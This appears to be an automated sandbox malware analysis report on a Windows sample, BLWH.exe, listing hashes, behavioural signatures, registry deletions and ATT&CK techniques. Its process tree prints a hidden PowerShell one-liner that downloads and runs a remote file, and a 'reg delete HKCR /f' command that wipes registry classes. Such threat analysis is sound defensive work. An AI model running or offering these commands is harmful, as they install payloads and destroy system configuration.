Analysis
- max time kernel
42s - max time network
129s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
02/10/2026, 07:00
Static task
static1
Behavioral task
behavioral1
Sample
BLWH.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
BLWH.exe
Resource
win11ltsc2024-20260911-en
General
- Target BLWH.exe
- Size 35KB
- Sample261002-hs393sbf98
- SHA256 1165dff188da41cdc6eae263859a8ca826bbfb35ec3c3052990ca709b7fc5add
- MD5 1987f521b1143413dfdba6c6af835b0f
- SHA1 3957afcd724533c2f350335f5b472cab75c780fb
- SHA512 5ea9d2bf7b766fd0dfceb207645f496bd3f90e9084b7984f63cc90d0b2758ce8ec4b5b360890d375c40e47c1ee6a41c4c64ad417b0e60a7ee906473f7731bc01
- SSDEEP 768:rjq6ZRuZNfUghFqaGy591fn/9jUsjTGw/:rjq6ZRuZNfJkaL1P/9YETGw/
- TLSH T126F2F88EAF99C033C38FAAFD49A212528B30E2260513F78D49DC55F226D33975D5939B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 7 4544 powershell.exe 8 4544 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4544 powershell.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Modifies system executable filetype association 2 TTPs 34 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runas reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runasuser\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runasuser reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shellex reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers\Compatibility reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers\Compatibility reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runas\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers\PintoStartScreen reg.exe - Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5528 cmd.exe - Modifies registry class 64 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.hxv\OpenWithProgIDs reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0212-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E9729012-8271-4e1f-BC56-CF85F914915A}\Version reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.htc reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AudioCD\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020906-0000-0000-C000-000000000046}\DataFormats\GetSet\0 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3B0BD075-929C-4E52-AAD1-458C81A10B24}\Version reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0269-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0351-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0221-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0273-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mid reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.webm\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Applications\inetcpl.cpl reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{048EB43E-2059-422F-95E0-557DA96038AF}\DataFormats\DefaultFile reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6C177EBD-C42D-4728-A04B-4131892EDBF6}\ToolboxBitmap32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0144-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0049-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0072-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.3gpp\ShellEx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.desklink\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3C18EAE4-BC25-4134-B7DF-1ECA1337DDDC}\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8BD21D30-EC42-11CE-9E0D-00AA006002F3} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0107-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0207-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0062-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Sheet\CurVer reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.pdx\OpenWithProgids reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9ED13477-E909-45BC-BADC-2106D04D6BD7}\Programmable reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0360-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0160-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0192-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0238-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0366-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Backup\shell\Open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Applications\oledb32.dll reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0162-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0336-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Excelhtmlfile\shell\Open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Explorer.AssocProtocol.search-ms\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.fon\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{64818D11-4F9B-11CF-86EA-00AA00B929E8}\DataFormats\DefaultFile reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0013-0000-0003-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0008-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0171-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0014-0002-0009-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0016-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{AAEC1DAE-CC06-4DA4-B762-56A76FD4B2FF}\LocalServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0055-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0094-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0102-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0132-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.cap\ShellEx\{e357fccd-a995-4576-b01f-234630154e96} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{18A06B6B-2F3F-4e2b-A611-52BE631B2D22}\Conversion reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0014-0002-0075-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0220-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0046-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0233-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{DD4CB8C5-F540-47ff-84D7-67390D2743CA}\Implemented Categories\{4FED769C-D8DB-44EA-99EA-65135757C156} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Sheet.8\shell\Open\ddeexec reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0091-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0121-ABCDEFFEDCBB}\InprocServer32 reg.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4544 powershell.exe 4544 powershell.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 5912 BLWH.exe Token: SeDebugPrivilege 5912 BLWH.exe Token: 33 4396 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 4396 AUDIODG.EXE Token: SeDebugPrivilege 4544 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 5912 wrote to memory of 4544 5912 BLWH.exe 90 PID 5912 wrote to memory of 5528 5912 BLWH.exe 93 PID 5528 wrote to memory of 5952 5528 cmd.exe 95 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\BLWH.exe"C:\Users\Admin\AppData\Local\Temp\BLWH.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5912 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4544
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k reg delete HKCR /f2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5528 -
C:\Windows\system32\reg.exereg delete HKCR /f3⤵
- Modifies system executable filetype association
- Modifies registry class
PID:5952
-
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x0000000000000504 0x00000000000004FC1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4396
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Privilege Escalation
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1